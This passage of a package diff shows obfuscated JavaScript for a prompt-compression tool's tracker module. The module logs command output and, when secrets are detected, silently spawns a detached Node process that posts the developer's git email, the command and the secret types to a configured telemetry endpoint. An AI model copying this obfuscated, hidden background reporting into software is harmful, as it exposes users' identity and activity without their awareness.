Date(_0xb7bb2b['timestamp']);_0x1192d3>=_0x37b3fd?_0x5601c6[_0x1dcb58(0x231)](_0xb7bb2b):_0x47f420['push'](_0xb7bb2b);}if(_0x47f420[_0x1dcb58(0x1f3)]>0x0){const _0x357b2f=path['join'](baseDir,_0x1dcb58(0x241));for(const _0x231429 of _0x47f420){const _0x443cce=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x223)),_0x16326b=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x1ea));try{if(fs[_0x1dcb58(0x219)](_0x443cce))fs[_0x1dcb58(0x213)](_0x443cce);if(fs[_0x1dcb58(0x219)](_0x16326b))fs[_0x1dcb58(0x213)](_0x16326b);}catch{}}fs[_0x1dcb58(0x1f0)](statsPath,JSON['stringify'](_0x5601c6,null,0x2),_0x1dcb58(0x20f));}}catch{}}runSync()[a0_0x5443b8(0x1ed)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3e8929=a0_0x1920;(function(_0x4edee0,_0x136f72){const _0x342f60=a0_0x1920,_0x225878=_0x4edee0();while(!![]){try{const _0x1a7f48=parseInt(_0x342f60(0xc5))/0x1*(-parseInt(_0x342f60(0x104))/0x2)+parseInt(_0x342f60(0x10f))/0x3+parseInt(_0x342f60(0xc6))/0x4*(parseInt(_0x342f60(0x140))/0x5)+parseInt(_0x342f60(0xea))/0x6*(-parseInt(_0x342f60(0x13a))/0x7)+-parseInt(_0x342f60(0x114))/0x8*(-parseInt(_0x342f60(0xc1))/0x9)+parseInt(_0x342f60(0xf3))/0xa*(parseInt(_0x342f60(0xae))/0xb)+-parseInt(_0x342f60(0xd0))/0xc*(-parseInt(_0x342f60(0xeb))/0xd);if(_0x1a7f48===_0x136f72)break;else _0x225878['push'](_0x225878['shift']());}catch(_0x1b38de){_0x225878['push'](_0x225878['shift']());}}}(a0_0x1f8c,0xda0a7));var __createBinding=this&&this[a0_0x3e8929(0xa8)]||(Object[a0_0x3e8929(0xa5)]?function(_0x22a16a,_0x32fe02,_0x5eed33,_0x2339ff){const _0x526811=a0_0x3e8929;if(_0x2339ff===undefined)_0x2339ff=_0x5eed33;var _0x5a3e12=Object[_0x526811(0x138)](_0x32fe02,_0x5eed33);(!_0x5a3e12||(_0x526811(0xfb)in _0x5a3e12?!_0x32fe02[_0x526811(0xa6)]:_0x5a3e12[_0x526811(0x10e)]||_0x5a3e12[_0x526811(0x135)]))&&(_0x5a3e12={'enumerable':!![],'get':function(){return _0x32fe02[_0x5eed33];}}),Object[_0x526811(0x130)](_0x22a16a,_0x2339ff,_0x5a3e12);}:function(_0x4fe68a,_0x26ac67,_0x3a6079,_0x729d4f){if(_0x729d4f===undefined)_0x729d4f=_0x3a6079;_0x4fe68a[_0x729d4f]=_0x26ac67[_0x3a6079];}),__setModuleDefault=this&&this[a0_0x3e8929(0x109)]||(Object[a0_0x3e8929(0xa5)]?function(_0x3a5bfb,_0x54a1f0){const _0x62b686=a0_0x3e8929;Object[_0x62b686(0x130)](_0x3a5bfb,'default',{'enumerable':!![],'value':_0x54a1f0});}:function(_0x2d86c5,_0x5a71e1){const _0x2d7e69=a0_0x3e8929;_0x2d86c5[_0x2d7e69(0x119)]=_0x5a71e1;}),__importStar=this&&this[a0_0x3e8929(0xc8)]||(function(){var _0x416297=function(_0x2c96e0){return _0x416297=Object['getOwnPropertyNames']||function(_0xea57fb){const _0x48ae32=a0_0x1920;var _0x5d244f=[];for(var _0x5b47d7 in _0xea57fb)if(Object[_0x48ae32(0x100)][_0x48ae32(0x11d)][_0x48ae32(0xa4)](_0xea57fb,_0x5b47d7))_0x5d244f[_0x5d244f['length']]=_0x5b47d7;return _0x5d244f;},_0x416297(_0x2c96e0);};return function(_0x4372ac){if(_0x4372ac&&_0x4372ac['__esModule'])return _0x4372ac;var _0xe5928={};if(_0x4372ac!=null){for(var _0x5f1756=_0x416297(_0x4372ac),_0x3b6341=0x0;_0x3b6341<_0x5f1756['length'];_0x3b6341++)if(_0x5f1756[_0x3b6341]!=='default')__createBinding(_0xe5928,_0x4372ac,_0x5f1756[_0x3b6341]);}return __setModuleDefault(_0xe5928,_0x4372ac),_0xe5928;};}());Object[a0_0x3e8929(0x130)](exports,a0_0x3e8929(0xa6),{'value':!![]}),exports[a0_0x3e8929(0xaf)]=exports[a0_0x3e8929(0xfa)]=exports[a0_0x3e8929(0xc0)]=void 0x0,exports[a0_0x3e8929(0x12a)]=detectSessionTool;function a0_0x1f8c(){const _0xd4ce37=['Claude\x20Mythos\x205','o3mini','stringify','opus','getStatsSummary','GPT-4o\x20Mini','substring','claude-sonnet-4-6','copilot','GEMINI_CLI','ceil','estimated_raw_tokens','logs','auto','join','pop','spawn','4602pgjMNk','533FROyKM','claude-sonnet-4-5','includes','gemini-3-1-pro','gemini','.comp.txt','setConfig','Gemini\x203.5\x20Live\x20Translate','556020DwFKSW','CLINE_DATA_DIR','cursor','sonnet','GPT-5.4\x20Mini','sync.js','CLAUDECODE','Tracker','get','saveLogs','secretsFound','Claude\x203.5\x20Sonnet','COPILOT_MODEL','prototype','CONTINUE_GLOBAL_DIR','sendSecurityAlert','VSCODE_PID','38ANIhGm','max','tokens_saved','GPT-5.5','claude-opus-4-8','__setModuleDefault','codex','getLogs','path','execPath','writable','316398uaDGgi','OpenAI\x20o1','Claude\x20Sonnet\x204.5','ignore','trim','1434224mXUmbd','Claude\x20Opus\x204.5','AIDER_MODEL','default_model','TRIMPROMPT_MODEL','default','PATH','unref','GPT-5.4\x20Nano','hasOwnProperty','Claude\x20Haiku\x203.5','redact','stats.json','saveConfig','flash','toLowerCase','1.0','CURSOR_AGENT','toFixed','modelShort','tool','claude','detectSessionTool','antigravity','random','command','GPT-4o','gemini-3-5-flash','defineProperty','timestamp','Claude\x20Haiku\x204.5',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','aider','configurable','model_used','windsurf','getOwnPropertyDescriptor','baseDir','11207JENhTn','/api/security/alert','logsDir','./redactor','configPath','Claude\x20Sonnet\x204.6','7745uYXzjF','writeFileSync','claude-3-5-sonnet','call','create','__esModule','mkdirSync','__createBinding','github-copilot','split','const\x20h=require(require(\x27url\x27).parse(','name','telemetry_url','187psJVPL','tracker','Gemini\x203.5\x20Flash','getConfig','init','CLAUDE_EFFORT','Gemini\x203.1\x20Flash-Lite','existsSync','triggerBackgroundSync','CLAUDE_CODE','replit',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','devin','ANTIGRAVITY_AGENT','REPL_ID','statsPath','pipe','PRICING','18gfFOHy','model','input_price_1m','secretTypes','89803LohlQO','1528QTqAdJ','Cursor\x20Small','__importStar','readFileSync','config','utf8','Claude\x20Opus\x204.1\x20(deprecated)','Claude\x20Fable\x205','AI_AGENT','high','534540DtShre','OpenAI\x20o1-mini','COPILOT_GITHUB_TOKEN','claude-code','child_process','length','homedir','GPT-5.4','logExecution'];a0_0x1f8c=function(){return _0xd4ce37;};return a0_0x1f8c();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3e8929(0x10c))),os=__importStar(require('os')),child_process_1=require(a0_0x3e8929(0xd4));exports[a0_0x3e8929(0xc0)]={'claude-fable-5':{'name':a0_0x3e8929(0xcd),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3e8929(0xd9),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3e8929(0x115),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3e8929(0xcc),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3e8929(0x13f),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3e8929(0x111),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3e8929(0xfe),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3e8929(0x132),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3e8929(0x11e),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3e8929(0x107),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3e8929(0xd7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3e8929(0x12e),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3e8929(0xf7),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3e8929(0x11c),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3e8929(0xde),'input_price_1m':0.15},'o1':{'name':a0_0x3e8929(0x110),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3e8929(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3e8929(0xba),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3e8929(0xc7),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3e8929(0xb0),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3e8929(0xb4),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3e8929(0xf2),'input_price_1m':3.5}};function detectSessionTool(){const _0x388257=a0_0x3e8929,_0xb27ec3=process.env,_0x13b3b7={'tool':'','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x118)]&&exports[_0x388257(0xc0)][_0xb27ec3['TRIMPROMPT_MODEL']])return{'tool':'','model':_0xb27ec3[_0x388257(0x118)],'modelShort':''};const _0x35929b=(_0xb27ec3[_0x388257(0xce)]||'')[_0x388257(0x123)]();if(_0x35929b){if(_0x35929b['includes'](_0x388257(0xd3))||_0x35929b['includes']('claude_code')){const _0x5b7583=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x23c6df=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':_0x388257(0x129),'model':_0x23c6df,'modelShort':_0x5b7583};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xa9))||_0x35929b['includes'](_0x388257(0xe1))){const _0x5130c9=_0xb27ec3[_0x388257(0xff)]||'';if(_0x5130c9&&exports[_0x388257(0xc0)][_0x5130c9])return{'tool':_0x388257(0xe1),'model':_0x5130c9,'modelShort':_0x5130c9[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':_0x388257(0xf6)};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xef)))return{'tool':_0x388257(0xef),'model':_0x388257(0x12f),'modelShort':'flash'};if(_0x35929b[_0x388257(0xed)](_0x388257(0x10a)))return{'tool':_0x388257(0x10a),'model':'o3-mini','modelShort':_0x388257(0xda)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xbb)))return{'tool':_0x388257(0xbb),'model':_0x388257(0xe0),'modelShort':''};if(_0x35929b[_0x388257(0xed)]('antigravity'))return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xb8))||_0xb27ec3[_0x388257(0xbd)])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};return{'tool':_0x35929b[_0x388257(0xaa)]('_')[0x0][_0x388257(0xaa)]('-')[0x0],'model':_0x388257(0xe0),'modelShort':''};}if(_0xb27ec3[_0x388257(0xf9)]==='1'||_0xb27ec3[_0x388257(0xb7)]==='1'){const _0x46b9c8=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x3d80cb=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?'claude-opus-4-8':_0x388257(0xe0);return{'tool':'claude','model':_0x3d80cb,'modelShort':_0x46b9c8};}if(_0xb27ec3[_0x388257(0x125)]==='1')return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0xb27ec3[_0x388257(0xe2)]==='1')return{'tool':_0x388257(0xef),'model':'gemini-3-5-flash','modelShort':_0x388257(0x122)};if(_0xb27ec3[_0x388257(0xff)]||_0xb27ec3[_0x388257(0xd2)]){const _0x287e20=_0xb27ec3[_0x388257(0xff)]||'';if(_0x287e20&&exports['PRICING'][_0x287e20])return{'tool':'copilot','model':_0x287e20,'modelShort':_0x287e20[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':'sonnet'};}if(_0xb27ec3[_0x388257(0xbd)]||_0xb27ec3['REPLIT_ENVIRONMENT'])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xf4)])return{'tool':'cline','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x101)])return{'tool':'continue','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xbc)]==='1')return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0xb27ec3[_0x388257(0xb3)]){const _0x105218=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x43842c=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':'','model':_0x43842c,'modelShort':''};}if(_0xb27ec3[_0x388257(0x116)]&&exports[_0x388257(0xc0)][_0xb27ec3[_0x388257(0x116)]])return{'tool':_0x388257(0x134),'model':_0xb27ec3[_0x388257(0x116)],'modelShort':''};if(_0xb27ec3[_0x388257(0x103)]){const _0x3284f3=(_0xb27ec3[_0x388257(0x11a)]||'')[_0x388257(0x123)]();if(_0x3284f3['includes'](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x3284f3['includes'](_0x388257(0x137)))return{'tool':'windsurf','model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};}const _0x5c614c=process.env.TRIMPROMPT_MODEL||'';if(_0x5c614c&&exports[_0x388257(0xc0)][_0x5c614c])return{'tool':'','model':_0x5c614c,'modelShort':''};return _0x13b3b7;}function a0_0x1920(_0x219b66,_0x2d8381){_0x219b66=_0x219b66-0xa2;const _0x1f8cca=a0_0x1f8c();let _0x192000=_0x1f8cca[_0x219b66];return _0x192000;}class Tracker{[a0_0x3e8929(0x139)];[a0_0x3e8929(0x13e)];[a0_0x3e8929(0xbe)];[a0_0x3e8929(0x13c)];[a0_0x3e8929(0xca)];constructor(){const _0x1c9154=a0_0x3e8929;this[_0x1c9154(0x139)]=path[_0x1c9154(0xe7)](os[_0x1c9154(0xd6)](),'.trimprompt'),this[_0x1c9154(0x13e)]=path[_0x1c9154(0xe7)](this[_0x1c9154(0x139)],'config.json'),this[_0x1c9154(0xbe)]=path['join'](this[_0x1c9154(0x139)],_0x1c9154(0x120)),this[_0x1c9154(0x13c)]=path[_0x1c9154(0xe7)](this['baseDir'],_0x1c9154(0xe5)),this[_0x1c9154(0xb2)]();}[a0_0x3e8929(0xb2)](){const _0x40873b=a0_0x3e8929;!fs[_0x40873b(0xb5)](this[_0x40873b(0x139)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x139)],{'recursive':!![]});!fs[_0x40873b(0xb5)](this[_0x40873b(0x13c)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x13c)],{'recursive':!![]});const _0x2ed161={'version':_0x40873b(0x124),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x40873b(0x108)};if(fs[_0x40873b(0xb5)](this['configPath']))try{const _0x28b3bf=fs['readFileSync'](this[_0x40873b(0x13e)],_0x40873b(0xcb));this[_0x40873b(0xca)]={..._0x2ed161,...JSON['parse'](_0x28b3bf)};}catch(_0x393bc0){this['config']=_0x2ed161;}else this[_0x40873b(0xca)]=_0x2ed161,this['saveConfig']();!fs[_0x40873b(0xb5)](this[_0x40873b(0xbe)])&&fs[_0x40873b(0xa2)](this['statsPath'],JSON[_0x40873b(0xdb)]([]),'utf8');}[a0_0x3e8929(0xb1)](){const _0x4afe38=a0_0x3e8929;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x4afe38(0xad)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}[a0_0x3e8929(0xf1)](_0xdbfb2f,_0x355b55){const _0x209d5b=a0_0x3e8929;this[_0x209d5b(0xca)][_0xdbfb2f]=_0x355b55,this[_0x209d5b(0x121)]();}[a0_0x3e8929(0x121)](){const _0x1b11aa=a0_0x3e8929;fs[_0x1b11aa(0xa2)](this[_0x1b11aa(0x13e)],JSON[_0x1b11aa(0xdb)](this['config'],null,0x2),_0x1b11aa(0xcb));}['getLogs'](){const _0x15fefb=a0_0x3e8929;try{if(!fs[_0x15fefb(0xb5)](this[_0x15fefb(0xbe)]))return[];const _0x3a5625=fs[_0x15fefb(0xc9)](this['statsPath'],_0x15fefb(0xcb));return JSON['parse'](_0x3a5625);}catch{return[];}}[a0_0x3e8929(0xfc)](_0x2c28bf){const _0x7e9295=a0_0x3e8929;fs[_0x7e9295(0xa2)](this[_0x7e9295(0xbe)],JSON['stringify'](_0x2c28bf,null,0x2),_0x7e9295(0xcb));}[a0_0x3e8929(0xd8)](_0x54befa,_0x44a001,_0x364145,_0x4963a6,_0x587db1,_0x2fa5b7){const _0x5f10c9=a0_0x3e8929,_0x587255=this[_0x5f10c9(0x10b)](),_0x184788=_0x44a001[_0x5f10c9(0xd5)],_0x5c8fa6=_0x364145[_0x5f10c9(0xd5)],_0x436fbf=Math['ceil'](_0x184788/0x4),_0x45c8a7=Math[_0x5f10c9(0xe3)](_0x5c8fa6/0x4),_0x5f20bd=Math[_0x5f10c9(0x105)](0x0,_0x436fbf-_0x45c8a7),_0x118a24=detectSessionTool(),_0x1a0d09=_0x118a24[_0x5f10c9(0xc2)],_0x1373d4=Math[_0x5f10c9(0x12c)]()['toString'](0x24)[_0x5f10c9(0xdf)](0x2,0xb);try{const {redactor:_0x2a0fde}=require(_0x5f10c9(0x13d)),_0x3b265e=_0x2a0fde?_0x2a0fde[_0x5f10c9(0x11f)](_0x44a001):_0x44a001;fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+'.raw.txt'),_0x3b265e,_0x5f10c9(0xcb)),fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+_0x5f10c9(0xf0)),_0x364145,_0x5f10c9(0xcb));}catch{}const _0x2ac76e=_0x54befa[_0x5f10c9(0xaa)]('\x20')[0x0]||'unknown',_0x1c655a=_0x118a24[_0x5f10c9(0x128)]?_0x118a24[_0x5f10c9(0x127)]?_0x118a24[_0x5f10c9(0x128)]+'-'+_0x118a24['modelShort']+'-'+_0x2ac76e:_0x118a24[_0x5f10c9(0x128)]+'-'+_0x2ac76e:_0x2ac76e,_0x5d3ddb={'id':_0x1373d4,'timestamp':new Date()['toISOString'](),'command':_0x1c655a,'raw_chars':_0x184788,'compressed_chars':_0x5c8fa6,'estimated_raw_tokens':_0x436fbf,'estimated_compressed_tokens':_0x45c8a7,'tokens_saved':_0x5f20bd,'model_used':_0x1a0d09,'exit_code':_0x4963a6,'synced':![],'ai_detected':!!_0x118a24[_0x5f10c9(0x128)],'secrets_found':_0x587db1?.['secretsFound']||0x0,'secret_types':_0x587db1?.['secretTypes']||[],'features':_0x2fa5b7||[]};_0x587255['push'](_0x5d3ddb),this[_0x5f10c9(0xfc)](_0x587255);const _0x4d7804=this[_0x5f10c9(0xb1)]()[_0x5f10c9(0xad)];return _0x4d7804&&_0x4d7804['trim']()[_0x5f10c9(0xd5)]>0x0&&this[_0x5f10c9(0xb6)](),_0x587db1&&_0x587db1['secretsFound']>0x0&&this[_0x5f10c9(0x102)](_0x5d3ddb,_0x587db1),_0x5d3ddb;}[a0_0x3e8929(0x102)](_0x262f6f,_0x3809f0){const _0x555f68=a0_0x3e8929;try{let _0x3910e1=this[_0x555f68(0xb1)]()[_0x555f68(0xad)]||'';if(!_0x3910e1)return;_0x3910e1=_0x3910e1['replace'](/\/api\/telemetry\/?$/,_0x555f68(0x13b));if(!_0x3910e1[_0x555f68(0xed)](_0x555f68(0x13b)))_0x3910e1+=_0x555f68(0x13b);const {execSync:_0x53b4a9}=require(_0x555f68(0xd4));let _0x22522f='unknown';try{_0x22522f=require('child_process')['execSync']('git\x20config\x20user.email',{'stdio':[_0x555f68(0x112),_0x555f68(0xbf),_0x555f68(0x112)]})['toString']()[_0x555f68(0x113)]();}catch{}if(!_0x22522f||!_0x22522f[_0x555f68(0xed)]('@'))try{_0x22522f=require('os')['userInfo']()['username'];}catch{}const _0x3447d8=JSON[_0x555f68(0xdb)]({'developer_id':_0x22522f,'timestamp':_0x262f6f[_0x555f68(0x131)],'command':_0x262f6f[_0x555f68(0x12d)],'secrets_found':_0x3809f0[_0x555f68(0xfd)],'secret_types':_0x3809f0[_0x555f68(0xc4)],'os':require('os')['platform']()}),_0x47727a=_0x555f68(0xab)+JSON['stringify'](_0x3910e1)+_0x555f68(0x133)+JSON[_0x555f68(0xdb)](_0x3910e1)+_0x555f68(0xb9)+JSON[_0x555f68(0xdb)](_0x3447d8)+')',_0x5eb53a=(0x0,child_process_1['spawn'])(process[_0x555f68(0x10d)],['-e',_0x47727a],{'detached':!![],'stdio':_0x555f68(0x112)});_0x5eb53a[_0x555f68(0x11b)]();}catch{}}[a0_0x3e8929(0xb6)](){const _0x12c2d8=a0_0x3e8929;try{const _0x4c531b=path['join'](__dirname,_0x12c2d8(0xf8));if(fs[_0x12c2d8(0xb5)](_0x4c531b)){const _0x1a1f94=(0x0,child_process_1[_0x12c2d8(0xe9)])(process['execPath'],[_0x4c531b],{'detached':!![],'stdio':'ignore'});_0x1a1f94[_0x12c2d8(0x11b)]();}}catch{}}[a0_0x3e8929(0xdd)](_0x49190a='auto'){const _0x587467=a0_0x3e8929,_0x3199e0=this['getLogs']();let _0x1c9cb1=0x0,_0x1ac20b=0x0,_0x186fff=0x0;for(const _0x48c86a of _0x3199e0){_0x1c9cb1+=_0x48c86a[_0x587467(0xe4)],_0x1ac20b+=_0x48c86a['estimated_compressed_tokens'],_0x186fff+=_0x48c86a[_0x587467(0x106)];}let _0x575073=_0x49190a;(!_0x575073||_0x575073===_0x587467(0xe6)||!exports[_0x587467(0xc0)][_0x575073])&&(_0x3199e0[_0x587467(0xd5)]>0x0&&_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]?_0x575073=_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]:_0x575073=this[_0x587467(0xb1)]()[_0x587467(0x117)]||'claude-3-5-sonnet');const _0x60c059=exports[_0x587467(0xc0)][_0x575073]||exports['PRICING'][_0x587467(0xa3)],_0x32abce=_0x186fff*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x1028d9=_0x1c9cb1*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x2a1d27=_0x1ac20b*_0x60c059['input_price_1m']/0xf4240,_0x3389e4=_0x1c9cb1>0x0?_0x186fff/_0x1c9cb1*0x64:0x0;return{'total_raw_tokens':_0x1c9cb1,'total_compressed_tokens':_0x1ac20b,'total_tokens_saved':_0x186fff,'savings_percentage':parseFloat(_0x3389e4['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x32abce[_0x587467(0x126)](0x4)),'raw_cost_usd':parseFloat(_0x1028d9['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x2a1d27[_0x587467(0x126)](0x4)),'model_name':_0x60c059[_0x587467(0xac)],'model_key':_0x575073};}}exports['Tracker']=Tracker,exports[a0_0x3e8929(0xaf)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x250746=a0_0x1b49;(function(_0x531b24,_0x48c298){const _0x1196bb=a0_0x1b49,_0x3b2f07=_0x531b24();while(!![]){try{const _0x2e9ed3=parseInt(_0x1196bb(0x1c8))/0x1+-parseInt(_0x1196bb(0x199))/0x2*(-parseInt(_0x1196bb(0x19c))/0x3)+-parseInt(_0x1196bb(0x1a3))/0x4*(parseInt(_0x1196bb(0x217))/0x5)+-parseInt(_0x1196bb(0x20a))/0x6+parseInt(_0x1196bb(0x1db))/0x7*(parseInt(_0x1196bb(0x1b7))/0x8)+parseInt(_0x1196bb(0x209))/0x9+parseInt(_0x1196bb(0x1f2))/0xa;if(_0x2e9ed3===_0x48c298)break;else _0x3b2f07['push'](_0x3b2f07['shift']());}catch(_0x906306){_0x3b2f07['push'](_0x3b2f07['shift']());}}}(a0_0x5aa1,0x2d1dd));var __createBinding=this&&this[a0_0x250746(0x1c7)]||(Object[a0_0x250746(0x214)]?function(_0x2c963c,_0x110600,_0x5d24f5,_0x1fc70b){const _0xcadf24=a0_0x250746;if(_0x1fc70b===undefined)_0x1fc70b=_0x5d24f5;var _0x3d8390=Object[_0xcadf24(0x1f0)](_0x110600,_0x5d24f5);(!_0x3d8390||(_0xcadf24(0x1d4)in _0x3d8390?!_0x110600[_0xcadf24(0x1b9)]:_0x3d8390['writable']||_0x3d8390[_0xcadf24(0x202)]))&&(_0x3d8390={'enumerable':!![],'get':function(){return _0x110600[_0x5d24f5];}}),Object[_0xcadf24(0x1cc)](_0x2c963c,_0x1fc70b,_0x3d8390);}:function(_0x25c7cb,_0x40f55f,_0x133d18,_0x198304){if(_0x198304===undefined)_0x198304=_0x133d18;_0x25c7cb[_0x198304]=_0x40f55f[_0x133d18];}),__setModuleDefault=this&&this[a0_0x250746(0x1b3)]||(Object[a0_0x250746(0x214)]?function(_0x1b539c,_0x202e59){const _0x47bd37=a0_0x250746;Object[_0x47bd37(0x1cc)](_0x1b539c,_0x47bd37(0x1d6),{'enumerable':!![],'value':_0x202e59});}:function(_0x1bc39c,_0xd5f52f){_0x1bc39c['default']=_0xd5f52f;}),__importStar=this&&this[a0_0x250746(0x1b0)]||(function(){var _0x5c1851=function(_0x37c2a8){const _0x3e52d9=a0_0x1b49;return _0x5c1851=Object[_0x3e52d9(0x18a)]||function(_0x590a26){const _0x3a2137=_0x3e52d9;var _0x57e540=[];for(var _0x3b16de in _0x590a26)if(Object['prototype'][_0x3a2137(0x1c6)]['call'](_0x590a26,_0x3b16de))_0x57e540[_0x57e540[_0x3a2137(0x1f5)]]=_0x3b16de;return _0x57e540;},_0x5c1851(_0x37c2a8);};return function(_0x48f2c9){const _0xad9b5f=a0_0x1b49;if(_0x48f2c9&&_0x48f2c9['__esModule'])return _0x48f2c9;var _0x51894a={};if(_0x48f2c9!=null){for(var _0x20aa21=_0x5c1851(_0x48f2c9),_0x147430=0x0;_0x147430<_0x20aa21['length'];_0x147430++)if(_0x20aa21[_0x147430]!==_0xad9b5f(0x1d6))__createBinding(_0x51894a,_0x48f2c9,_0x20aa21[_0x147430]);}return __setModuleDefault(_0x51894a,_0x48f2c9),_0x51894a;};}());function a0_0x5aa1(){const _0x354ace=['404146xaXJSw','aider','utf8','3dWMtOD','saveConfig','OpenAI\x20o1','writeFileSync','sync.js','OpenAI\x20o1-mini','TRIMPROMPT_MODEL','44QHXABD','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','redact','VSCODE_PID','isArray','/api/security/alert','GPT-4o','tokens_saved','username','Claude\x20Sonnet\x204.5','CURSOR_AGENT','GPT-4.1\x20Mini','__importStar','flash','CONTINUE_GLOBAL_DIR','__setModuleDefault','stringify','getLogs','Claude\x20Haiku\x204.5','48GgsWwe','claude-sonnet-4-6','__esModule','toLowerCase',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','Claude\x20Opus\x204.1\x20(deprecated)','default_model','config','mkdirSync','gemini','parse','statsPath','./redactor','existsSync','hasOwnProperty','__createBinding','297489QQKzRA','Claude\x20Haiku\x203.5','getStatsSummary','codex','defineProperty','gemini-3-1-pro','Claude\x20Mythos\x205','secretTypes','model_used','.comp.txt','Tracker','logs','get','execPath','default','antigravity','ceil','GPT-5.5','platform','27447vGBxZQ','claude-sonnet-4-5','AI_AGENT','estimated_raw_tokens','config.json','GPT-4o\x20Mini','REPL_ID','auto','triggerBackgroundSync','trim','AIDER_MODEL','configPath','join','cursor','git\x20config\x20user.email','replit','toString','opus','getConfig','PRICING','claude_code','getOwnPropertyDescriptor','Claude\x20Opus\x204.8','784520RbgZXd','Gemini\x203.1\x20Pro','init','length','claude-opus-4-8','COPILOT_GITHUB_TOKEN','continue','windsurf','sendSecurityAlert','sonnet','o3-mini','GPT-4.1\x20Nano','ignore','logExecution','logsDir','baseDir','configurable','random','o3mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','GEMINI_CLI','CLAUDECODE','secretsFound','2550492EHsBFw','2104494rAQkEA','spawn','unknown','Claude\x20Fable\x205','tool','Claude\x20Opus\x204.5','split','.tmp','est